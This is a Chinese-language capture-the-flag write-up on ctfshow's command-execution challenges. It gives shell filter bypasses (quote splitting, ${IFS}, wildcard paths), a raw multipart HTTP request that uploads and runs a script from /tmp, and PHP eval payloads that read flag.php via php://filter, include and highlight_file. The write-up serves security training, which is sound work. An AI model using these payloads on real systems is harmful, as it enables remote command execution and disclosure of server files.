[CTF]ctfshow命令执行

简介: [CTF]ctfshow命令执行

bash小妙招

bash中的&&||

  • 在使用&&拼接命令时,command1&&command2 当command 成功执行(退出状态码0)那么command2将会被执行,如果command1执行失败(返回非零的退出状态码),command2不会被执行__相当于command1执行成功后再执行command2,command2对于command1来说是一个执行的后续操作
  • 在使用||拼接命令时,command3||command4 当command3成功被执行,command4不会被成功执行,当command3执行失败,就轮到command4执行__相当于command3是执行的主要操作,而command4作为command3执行失败的备选项操作

bash中的;

  • 用于分割多个命令,这些命令会依次被执行

bash中的''

  • 是一个无解析内容的空字符串,可以打断内容,绕过正则过滤,如果过滤了flag字符串,可以使用命令tac fla''g.php即可绕过
    nl
  • 输出代行号的文件内容,效果类似于cattac

输入重定向与输出重定向<>

  • 追加在文件末尾echo 'new line adding ' >> output.txt
  • 输入cat<input.txt
  • 输出echo 'a output line in terminal ' > output.txt
ls -l aaa || ls -l example >/dev/null 2>&1

${IFS}的妙用

它是一个环境变量,一般可以指代空格或水平制表符

e.g.: 空格被过滤,使用ta’'c${IFS}fla?.php 即可,语句中包括了双写绕过,通配符绕过

典中典之无字母

来自web55

对于shell脚本,可以用. /然后补充完绝对路径执行脚本(前提是有执行权限)

服务器将用户上传的文件放在一个位置,命名规则是/tmp/php?????[@-[] 使用/???/????????[@-[]匹配

e.g.    /tem/phpMhFkjK
POST /?c=.%20/???/????????[@-[] HTTP/1.1
Host: a154afec-f485-4bc5-9853-5589a9bddb80.challenge.ctf.show
Content-Length: 307
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1:5500
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryCHeMbHu9aEM5Vuli
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://127.0.0.1:5500/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Connection: close
------WebKitFormBoundaryCHeMbHu9aEM5Vuli
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: text/plain
#!/bin/sh
whoami
------WebKitFormBoundaryCHeMbHu9aEM5Vuli
Content-Disposition: form-data; name="submit"
submit to webpage
------WebKitFormBoundaryCHeMbHu9aEM5Vuli--

web56类似,使用.?能在抓包中执行命令

部分函数被禁止使用

题目描述

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

用来读文件内容echo file_get_contents('');

使用伪协议

/?1=php://filter/convert.base64-encode/resource=flag.php

在post中,使用include包含显示回显

c=include($_GET[1]);

使用c=highlight_file('flag.php');在post中

类似的c=show_source('flag.php');show_source也可使用

这类题主要考察Php中读文件的函数

使用c=include('flag.php');echo $flag;$没被ban就能用变量

文件被包含,即被注册(定义),可输出所有一定义的变量查看它们的变量名和值,如

c=include('flag.php');var_dump(get_defined_vars());

如果flag不在默认目录/var/www/html就需要考虑路径问题

使用c=var_dump(scandir('/'))查看根目录

相关文章
|
2月前
|
安全 数据安全/隐私保护 Python
BUUCTF-[GUET-CTF2019]re(Reverse逆向)
本文介绍了如何对一个带有UPX壳的ELF文件进行逆向分析。首先通过010Editor确认文件类型和壳的存在,接着使用Free UPX工具进行脱壳。脱壳后在IDA中加载文件,通过字符串查找和交叉引用跟踪定位关键函数。最终利用Python的z3库解决约束问题,得到flag。过程中还遇到了Python版本兼容性问题,并通过重新安装z3-solver解决。最终flag为`flag{e165421110ba03099a1c039337}`,经MD5解密验证为`233`。
46 0
BUUCTF-[GUET-CTF2019]re(Reverse逆向)
|
9月前
|
弹性计算 运维 Shell
编写helloworld 脚本
【4月更文挑战第29天】
66 0
|
9月前
|
应用服务中间件 PHP nginx
[CTF]ctfshow文件包含
[CTF]ctfshow文件包含
|
9月前
|
前端开发 应用服务中间件 PHP
[CTF]ctfshow 文件上传
[CTF]ctfshow 文件上传
|
9月前
|
PHP
[CTF]ctfshow php特性
[CTF]ctfshow php特性
|
9月前
|
Linux
Linux命令(112)之tac
Linux命令(112)之tac
75 0
|
Linux
Linux命令之tac
Linux命令 tac
91 4
|
安全 Linux Shell
初识 pwn(get_shell、hello_pwn)
初识 pwn(get_shell、hello_pwn)
93 0
|
NoSQL Shell Redis
RHCE的一道shell脚本编程题&理解shell case 语法
RHCE的一道shell脚本编程题&理解shell case 语法
79 0